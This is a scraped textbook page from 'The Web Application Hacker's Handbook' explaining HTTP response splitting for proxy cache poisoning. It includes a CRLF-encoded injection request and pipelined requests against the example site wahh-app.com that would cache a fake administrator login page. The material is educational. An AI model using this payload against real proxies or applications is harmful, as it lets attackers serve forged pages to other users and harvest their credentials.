The Web Application Hacker’s Handbook Discovering and Exploiting Security Flaws



Download 5,76 Mb.
Pdf ko'rish
bet746/875
Sana01.01.2022
Hajmi5,76 Mb.
#293004
1   ...   742   743   744   745   746   747   748   749   ...   875
Bog'liq
3794 1008 4334

436

Chapter 12 



Attacking Other Users

70779c12.qxd:WileyRed  9/14/07  3:14 PM  Page 436



HTTP/1.1 200 OK

Set-Cookie: UserId=123

Content-Length: 22

foo


HTTP/1.1 200 OK

Content-Length: 2307





Administrator login

...


3. The attacker opens a TCP connection to the proxy server and sends his

crafted request followed immediately by a request for the page to be

poisoned. Pipelining requests in this way is legal in the HTTP protocol:

GET http://wahh-app.com/home.php?uid=123%0d%0aContent-Length:+22%0d

%0a%0d%0a%0d%0afoo%0d%0a%0d%0aHTTP/1.1+200+OK%0d%

0aContent-Length:+2307%0d%0a%0d%0a%0d%0a%0d%0a



Administrator+login0d%0a[...long URL...] HTTP/1.1

Host: wahh-app.com

Proxy-Connection: Keep-alive

GET http://wahh-app.com/admin/ HTTP/1.1

Host: wahh-app.com

Proxy-Connection: Close

4. The proxy server opens a TCP connection to the application, and sends

the two requests pipelined in the same way.

5. The application responds to the first request with the attacker’s injected

HTTP content, which looks exactly like two separate HTTP responses.

6. The proxy server receives these two apparent responses, and interprets

the second as being the response to the attacker’s second pipelined

request, which was for the URL 

http://wahh-app/admin/

. The proxy

caches this second response as the contents of this URL. (If the proxy

has already stored a cached copy of the page, the attacker can cause it

to re-request the URL and update its cache with the new version by

inserting an appropriate 

If-Modified-Since

header into his second

request and a 

Last-Modified

header into the injected response.) 




Download 5,76 Mb.

Do'stlaringiz bilan baham:
1   ...   742   743   744   745   746   747   748   749   ...   875




Ma'lumotlar bazasi mualliflik huquqi bilan himoyalangan ©hozir.org 2024
ma'muriyatiga murojaat qiling

kiriting | ro'yxatdan o'tish
    Bosh sahifa
юртда тантана
Боғда битган
Бугун юртда
Эшитганлар жилманглар
Эшитмадим деманглар
битган бодомлар
Yangiariq tumani
qitish marakazi
Raqamli texnologiyalar
ilishida muhokamadan
tasdiqqa tavsiya
tavsiya etilgan
iqtisodiyot kafedrasi
steiermarkischen landesregierung
asarlaringizni yuboring
o'zingizning asarlaringizni
Iltimos faqat
faqat o'zingizning
steierm rkischen
landesregierung fachabteilung
rkischen landesregierung
hamshira loyihasi
loyihasi mavsum
faolyatining oqibatlari
asosiy adabiyotlar
fakulteti ahborot
ahborot havfsizligi
havfsizligi kafedrasi
fanidan bo’yicha
fakulteti iqtisodiyot
boshqaruv fakulteti
chiqarishda boshqaruv
ishlab chiqarishda
iqtisodiyot fakultet
multiservis tarmoqlari
fanidan asosiy
Uzbek fanidan
mavzulari potok
asosidagi multiservis
'aliyyil a'ziym
billahil 'aliyyil
illaa billahil
quvvata illaa
falah' deganida
Kompyuter savodxonligi
bo’yicha mustaqil
'alal falah'
Hayya 'alal
'alas soloh
Hayya 'alas
mavsum boyicha


yuklab olish